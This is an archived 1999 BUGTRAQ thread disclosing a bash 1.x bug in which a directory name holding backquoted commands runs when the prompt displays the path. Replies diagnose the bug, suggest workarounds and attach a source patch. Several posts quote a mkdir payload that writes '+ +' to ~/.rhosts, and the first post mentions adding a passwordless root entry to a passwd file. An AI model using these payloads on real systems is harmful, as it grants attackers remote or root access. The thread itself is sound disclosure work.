Date: Tue, 20 Apr 1999 21:25:47 -0400 From: Shadow To: BUGTRAQ@netspace.org Subject: Bash Bug Figured while everyone was working with bash, I might as well make this one public(I apologize if this is old news, apparently it hasnt been fixed if so). If a user creates a directory with a command like mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " and someone cd's into said directory, either by accident, or whatever, then it will cause it to actually execute. I also did this with a passwd file, echo a user such as r00t::0:0:\57root\57bin\57bash instead of + + to the rhosts. Played with symlinks and a few other ways to see if perhaps maybe the system could trip it if a user made the directory in say /tmp. Granted it may be a long shot on the users part, the ability to do so is a bad thing IMHO. This didnt seem to work on any of my BSD boxes. shadow - CLE ------------------------------------------------------------------------- Most Failure is due to giving up, not realizing how close to success you were - Thomas Edison ------------------------------------------------------------------------- ---------------------------------------------------------------------------- Date: Thu, 22 Apr 1999 13:10:52 +0200 From: Henrik Nordstrom To: BUGTRAQ@netspace.org Subject: Re: Bash Bug Parts/Attachments: 1 Shown 21 lines Text 2 Shown 20 lines Text ---------------------------------------- Shadow wrote: > mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " > > and someone cd's into said directory, either by accident, or whatever, > then it will cause it to actually execute. It is a vulnerability of the prompt parsing, or more specifically the \w or \W prompt escapes for showing the current directory. These get parsed before backquote parsing of the prompt string. Workaround: Make sure the variable PS1 is set to something not including the above escapes when cd'ing into directories with backquotes or $ as part of their name. Patch for bash-1.14.7 attached. bug-bash@prep.ai.mit.edu has been notified. -- Henrik Nordstrom [ Part 2: "Attached Text" ] --- parse.y.orig Thu Apr 22 11:53:01 1999 +++ parse.y Thu Apr 22 12:56:34 1999 @@ -2729,6 +2729,17 @@ #else getwd (t_string); #endif /* EFFICIENT */ + if (strcspn(t_string, slashify_in_quotes) < strlen(t_string)) { + char t_string2[MAXPATHLEN]; + int i, j; + for (i = 0, j = 0 ; t_string[i] && j < MAXPATHLEN - 2 ; i++) { + if (member(t_string[i], slashify_in_quotes)) + t_string2[j++] = '\\'; + t_string2[j++] = t_string[i]; + } + t_string2[j] = '\0'; + strcpy(t_string, t_string2); + } if (c == 'W') { ---------------------------------------------------------------------------- Date: Wed, 21 Apr 1999 20:39:48 EDT From: Andy Church To: BUGTRAQ@netspace.org Subject: Re: Bash Bug >Figured while everyone was working with bash, I might as well make this >one public(I apologize if this is old news, apparently it hasnt been fixed >if so). > >If a user creates a directory with a command like > >mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " > >and someone cd's into said directory, either by accident, or whatever, >then it will cause it to actually execute. Just to clarify, this only happens if PS1 (the bash prompt) contains \w or \W _and_ a prompt is displayed containing the bogus directory name. This means unattended shell scripts are safe. As a workaround, use `pwd` in place of \w. Tested with bash 1.14 (it's the only one I have handy). --Andy Church achurch@dragonfire.net http://achurch.dragonfire.net/ ---------------------------------------------------------------------------- Date: Thu, 22 Apr 1999 03:18:48 +0200 From: Marc Lehmann To: BUGTRAQ@netspace.org Subject: Re: Bash Bug On Tue, Apr 20, 1999 at 09:25:47PM -0400, Shadow wrote: > > If a user creates a directory with a command like > > mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " It seems to me that this is related to the prompt string parsing. If yes, then bash is not vulnerable unless configured to display the current directory (correct me if the root of the problem is different). Some additional notes: - I was unable to reproduce this on my system, even when bash is configured to display the current path in the prompt. (bash 2.02.1(1)) - The original example seemed to have too much whitespace. I used: mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\`" - PS1 was set to \h:\w\$ HTH -- -----==- | ----==-- _ | ---==---(_)__ __ ____ __ Marc Lehmann +-- --==---/ / _ \/ // /\ \/ / pcg@goof.com |e| -=====/_/_//_/\_,_/ /_/\_\ XX11-RIPE --+ The choice of a GNU generation | | ---------------------------------------------------------------------------- Date: Thu, 22 Apr 1999 11:16:06 +0200 From: Pavel Kankovsky To: BUGTRAQ@netspace.org Subject: Re: Bash Bug On Tue, 20 Apr 1999, Shadow wrote: > mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " Bash 1.x screws up during PS1 substitution (\w, \W). Bash 2.x does not seem to be vulnerable. Anyway, there's a hope even for those who want to stick to 1.x: replace \w with $PWD, \W with ${PWD##*/} (no guarantee). --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ] "NSA GCHQ KGB CIA nuclear conspiration war weapon spy agent... Hi Echelon!" ---------------------------------------------------------------------------- Date: Fri, 23 Apr 1999 00:02:57 +0300 From: Guy Cohen To: BUGTRAQ@netspace.org Subject: Re: Bash Bug At this (Wed, Apr 21, 1999 at 08:39:48PM -0400) day, Andy Church wrote: .| >If a user creates a directory with a command like .| > .| >mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " .| > .| Just to clarify, this only happens if PS1 (the bash prompt) contains .| \w or \W _and_ a prompt is displayed containing the bogus directory name. .| This means unattended shell scripts are safe. As a workaround, use `pwd` .| in place of \w. .| Unfortunately this is not true. here is why: rush:/tmp> bash --version GNU bash, version 2.03.0(1)-release (i586-pc-linux-gnu) Copyright 1998 Free Software Foundation, Inc. rush:/tmp> bash bash-2.03$ echo $PS1 \s-\v\$ bash-2.03$ cat ~/.rhosts cat: /export/home/guy/.rhosts: No such file or directory bash-2.03$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " bash-2.03$ cd \\\ \ / bash-2.03$ cat /export/home/guy/.rhosts\ + + sh-2.03$ -- Guy Cohen ---------------------------------------------------------------------------- Date: Thu, 22 Apr 1999 17:43:24 -0400 From: Daniel Jacobowitz To: BUGTRAQ@netspace.org Subject: Re: Bash Bug On Fri, Apr 23, 1999 at 12:02:57AM +0300, Guy Cohen wrote: > Unfortunately this is not true. here is why: > rush:/tmp> bash --version > GNU bash, version 2.03.0(1)-release (i586-pc-linux-gnu) > Copyright 1998 Free Software Foundation, Inc. > rush:/tmp> bash > bash-2.03$ echo $PS1 > \s-\v\$ > bash-2.03$ cat ~/.rhosts > cat: /export/home/guy/.rhosts: No such file or directory > bash-2.03$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " > bash-2.03$ cd \\\ \ / > bash-2.03$ cat /export/home/guy/.rhosts\ > + + > sh-2.03$ That's a quoting error. Look at the mkdir command you typed, and observe that the backticks are not escaped - thus even inside of "" they are evaluated. Witness: $ ls /drow/.rh* ls: /drow/.rh*: No such file or directory $ echo $PS1 \$ $ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " $ ls /drow/.rhosts\ /drow/.rhosts It doesn't even get .rhosts right - there's a space at the end. You told bash to make the directory: `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` Dan /--------------------------------\ /--------------------------------\ | Daniel Jacobowitz |__| CMU, CS class of 2002 | | Debian GNU/Linux Developer __ Part-Time Systems Programmer | | dan@debian.org | | drow@cs.cmu.edu | \--------------------------------/ \--------------------------------/ ---------------------------------------------------------------------------- Date: Thu, 22 Apr 1999 15:44:35 -0400 From: Chet Ramey Reply-To: chet@po.CWRU.Edu To: BUGTRAQ@netspace.org Subject: Re: Bash Bug > On Tue, 20 Apr 1999, Shadow wrote: > > > mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " > > Bash 1.x screws up during PS1 substitution (\w, \W). Bash 2.x does not > seem to be vulnerable. Anyway, there's a hope even for those who want to > stick to 1.x: replace \w with $PWD, \W with ${PWD##*/} (no guarantee). This is correct; the bug was fixed in bash-2.0, which was released in December, 1996. If you're still running 1.14.x, or earlier versions, you should upgrade to bash-2.03. -- ``The lyf so short, the craft so long to lerne.'' - Chaucer ( ``Discere est Dolere'' -- chet) Chet Ramey, Case Western Reserve University Internet: chet@po.CWRU.Edu ---------------------------------------------------------------------------- Date: Fri, 23 Apr 1999 11:25:58 +0100 From: Ph. Rueegsegger To: BUGTRAQ@netspace.org Subject: Re: Bash Bug Date sent: Thu, 22 Apr 1999 01:39:48 +0100 Send reply to: Andy Church >From: Andy Church Subject: Re: Bash Bug Originally to: shadow@OPERATOR.ORG To: BUGTRAQ@netspace.org Hello together > >Figured while everyone was working with bash, I might as well make this > >one public(I apologize if this is old news, apparently it hasnt been fixed > >if so). > > > >If a user creates a directory with a command like > > > >mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " Not bad ! > > > >and someone cd's into said directory, either by accident, or whatever, > >then it will cause it to actually execute. > > Just to clarify, this only happens if PS1 (the bash prompt) contains > \w or \W _and_ a prompt is displayed containing the bogus directory name. > This means unattended shell scripts are safe. As a workaround, use `pwd` > in place of \w. Sorry, with bash version 2.01.1 (supplied with SuSE5.3) is just the opposite of what you are clarifying. If one has \w or \W specified in PS1 to show the path, it does NOT happen and if `pwd` is specified instead of \w or \W it DOES happen. > > Tested with bash 1.14 (it's the only one I have handy). > > --Andy Church > achurch@dragonfire.net > http://achurch.dragonfire.net/ Kind regards Phibus ----------------------------------------------------------- Philip Rueegsegger System Manager Bruker AG Direct dial : +41-1-825 93 46 Industriestrasse 26 Telephone : +41-1-825 91 11 CH-8117 Faellanden Telefax : +41-1-825 94 69 Switzerland E-Mail : philip.rueegsegger@bruker.ch ----------------------------------------------------------- ---------------------------------------------------------------------------- Date: Tue, 27 Apr 1999 16:38:15 +0200 From: Peter J. Holzer To: BUGTRAQ@netspace.org Subject: Re: Buffer overflow in BASH On 1999-04-19 14:59:06 -0400, Adam D. McKenna wrote: > I really don't see the point of people posting bash bugs here. > Especially not bugs in old versions. There are a lot of bash bugs, you > can't gain any extra priveleges by exploiting them though. You can, if you can trigger the bug in a script which is not running with your privileges - suid and cgi scripts are obvious examples. So, posting bash bug reports at least reminds people that using bash - especially old versions - for such scripts is not a good idea. hp -- _ | Peter J. Holzer | Where do you want your keys |_|_) | Sysadmin WSR / Obmann LUGA | to go today? | | | hjp@wsr.ac.at | -- Tom Perrine __/ | http://wsrx.wsr.ac.at/~hjp/ | on bugtraq 1999-04-20